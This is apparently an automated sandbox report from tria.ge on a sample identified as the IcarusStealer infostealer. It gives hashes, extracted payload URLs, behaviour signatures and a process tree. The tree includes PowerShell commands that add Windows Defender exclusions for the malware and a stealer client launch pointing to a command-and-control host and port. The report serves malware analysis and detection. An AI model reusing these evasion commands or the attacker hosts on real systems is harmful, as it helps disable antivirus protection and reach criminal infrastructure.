Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
305s -
max time network
280s -
platform
windows11-21h2_x64 -
resource
win11-20240221-en -
resource tags
-
submitted
08/03/2024, 01:44
General
-
Target
switched_1.exe
-
Size
3.7MB
-
MD5
b9bbe31d276de5c3d05352d070ae4244
-
SHA1
5e1bb67b01c579b4e0ad5a7475ceb657201c27ec
-
SHA256
a01977e758a85dc01fb8ca7da9110adfe5bf9b9bec0af1db82741fe83d20408d
-
SHA512
0a3459690bfdf8d238cb6f27c650903659c12aa589bcba037a45c68287342f53ca5c1e1b307a0abd8d481f79e3df6bd994cce6a79258343627aa7b3209b0ed17
-
SSDEEP
49152:tYDJ4w53qs7fg442ZvkOlVdP8iFoh/dYINv7sq8:e4u3cV/gHP8X1hNv7
Malware Config
Extracted
icarusstealer
-
payload_url
https://blackhatsec.org/add.jpg
https://blackhatsec.org/remove.jpg
Signatures
-
IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
-
Modifies Installed Components in the registry 2 TTPs 1 IoCs
-
Executes dropped EXE 3 IoCs
-
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 22 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Modifies registry class 14 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 29 IoCs
-
Suspicious use of FindShellTrayWindow 27 IoCs
-
Suspicious use of SendNotifyMessage 22 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 49 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\switched_1.exe"C:\Users\Admin\AppData\Local\Temp\switched_1.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe"C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\certutil.execertutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD54⤵
-
-
C:\Windows\system32\find.exefind /i /v "md5"4⤵
-
-
C:\Windows\system32\find.exefind /i /v "certutil"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\tesetey.exe"C:\Users\Admin\AppData\Local\Temp\tesetey.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5ykek5io\5ykek5io.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F6C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDDD7293FA7CA414392B1E4C2824845C4.TMP"4⤵
-
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 vUiuCXqqM3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 vUiuCXqqM3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\Start.exe & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Start.exeC:\Users\Admin\AppData\Local\Temp\Start.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d0c46cad6c0778401e21910bd6b56b70
SHA17be418951ea96326aca445b8dfe449b2bfa0dca6
SHA2569600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
SHA512057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
-
Filesize
16KB
MD5ecf218b885977bf38c724818bedb9bb2
SHA154bc0bf35aca4ceedeebe4c509edb7d1475195bc
SHA2560216df2557c2eb44e0072d0f25a3eb8452de7044d0ddfd793137bc39f8639db0
SHA512db37f77d0870d6edc3187fc286ff713443649231497b6691839a6e64f63f51022cccbd4fa4954077a20b2969abac9c91bc9ad70a9ce924be9f0911f88d2e5311
-
Filesize
1KB
MD520ea380b065d32251b35a40e6949de05
SHA1468d3056e8533144ee595209ae097ec734d4ddce
SHA256014538f919a32bb521072fbff179eaf25777d49ce6569ef219232ef5ef40815c
SHA5124183d83ba34a033cc166e7415ed928c4d69a395f39dc09cbf11e82badc05f6957b9ef05dbeeade58ecb2864e6c75057d37df390e1bd0b7cc834031df5f0f5de2
-
Filesize
4KB
MD594469f47805644e9d8934a4b701230a4
SHA1543c046891593bc8062b1dc624e644b4dd88a37a
SHA256e65311fc504e351ed78073aa53a2323eb6b8cad4da02b73a63e70d5f793262fc
SHA512c92487b1a931c76c95f9e4058a1ff82b2b94e34d0228973b01b62c46670dc1fe78163c366c414cdd7c761570bcade3dd4c46dd848eed6b0d6aa38769aa15ea81
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.1MB
MD5b1d3b6f7673bd8572d9519468a6a2d6c
SHA161b907e4abdf29b77c5da751150f4172163f0a04
SHA256e78cbf2e8d31f6140a7e7afdadd6d96a6c5475fd9149c7b920edfb8b889b42a9
SHA5129d1de488e44e347c7816b7a568401564f1e80c0aadf679d6bac22413c9e4d0efedce0e565a27cc80e95858abdbd84923c062144783cb3dd9bb1a11dd2ac2e959
-
Filesize
1.3MB
MD5114a5b42a9af4054633548f4dae79440
SHA16e87d6a6421dee93079a99ee868a8a895e06dc03
SHA25687f551eb7e7f273c3ed1e49b1b7f6b439cb7931791ac29672ab2e12eead7dff9
SHA512cc621962841f5aeb19c0185de84d74dd07f1c12f3608ead3e622c4b3a00dba182515afc18bc5a326b9670924969007fabe9aa07e279b9c50ac996ba8f765b37a
-
Filesize
512KB
MD51d6971f39da6e971f9e46c96b9a8d9b8
SHA116a5d4467408d29c14b18a46d85609ef0d92002b
SHA256b1a31dd9f5aa46ff1dfb939a277e8d4c8924c07d5fa6b15d2806954840b7ec15
SHA5120e7df5dfa15e22d1e75efa4edc4ac1396d0636cd592917aec108fe515b4af61495d9a30833ce5b5caf221f55798f54d43529bbe8d60ad5f94f4a98f434e44a6e
-
Filesize
494KB
MD50f0838bc6642dd6bc603368e50b4aba3
SHA1932bd4d1c11996bf8ac3ac74a94b266e96d44c36
SHA2564acfa7fccfdd11c17fbb2e7a861683f749cbf6420f0d83d484a6024ff280a7a9
SHA512a39605eaa160d4f918393c600d42873f2e6bfb54506edfbe590aac0f75d12b4aa66ff91192c0522c235695a9c6b95cd2dbe308b548b5f121ca6b6b7696029860
-
Filesize
96KB
MD54b5c145bd247b71cc6cfc09a82e78ddb
SHA18f229d3bf6c4302ca2704f321c1df7116ddff4d1
SHA2568a3eebc46071d5eeec0ff2fab8e3531b1f83a8d036077d8ffbeb25ed1482260d
SHA5124c9e0e71aa8ea9aa173aa89064329c530e3062e6a661680e964df4e162375ea1899fe0936cbea07c6c6d4b45253998615434d594e394fd2479752547dd3ff124
-
Filesize
1KB
MD514846c9faaef9299a1bf17730f20e4e6
SHA18083da995cfaa0e8e469780e32fcff1747850eb6
SHA25661bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b
SHA512549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1
-
Filesize
447B
MD5bb1ed7d03b678a11b79922f5db9f5400
SHA16e2fb5fafe53262545c21b5f6a60253d514ce98e
SHA2560ddd660ceac366d733a7c1ec1a6f54766d7d15e773ff259a6957993b07f6536b
SHA512109304c0cf3f6e18c6f72b06869b601c1c7e205aa2b3404c9e36e77da861fd5fb8898fce6bf4ab5a73ab457efc760f4637ff4e4f2ccec2cfcab864f3ce92e2f6
-
Filesize
1KB
MD5810535a8ae563d6aa53635a1bb1206ff
SHA1f5ba39f1a455eb61efe5022b524892249ee75dce
SHA2567f2c2a29a5f1c0d994fa4c2fccc11a8f3f5f5d4d97ada18aea94971664c8992f
SHA5125662b39b29d33bff2e8de4cf3878a6e58b7a163cc93311f4c82f03e73b239a76bb9064ed0c4a6d01cceb858663462345cae78999cfa3668ef975cf85dfff138d
-
Filesize
4.2MB
-
Filesize
4.2MB
-
Filesize
5.6MB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
584KB
-
Filesize
624KB
-
Filesize
7.7MB
-
Filesize
520KB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
32KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
84KB
-
Filesize
56KB
-
Filesize
68KB
-
Filesize
600KB
-
Filesize
408KB
-
Filesize
104KB
-
Filesize
656KB
-
Filesize
120KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
208KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
216KB
-
Filesize
304KB
-
Filesize
64KB
-
Filesize
3.3MB
-
Filesize
6.5MB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
104KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
144KB
-
Filesize
64KB
-
Filesize
7.7MB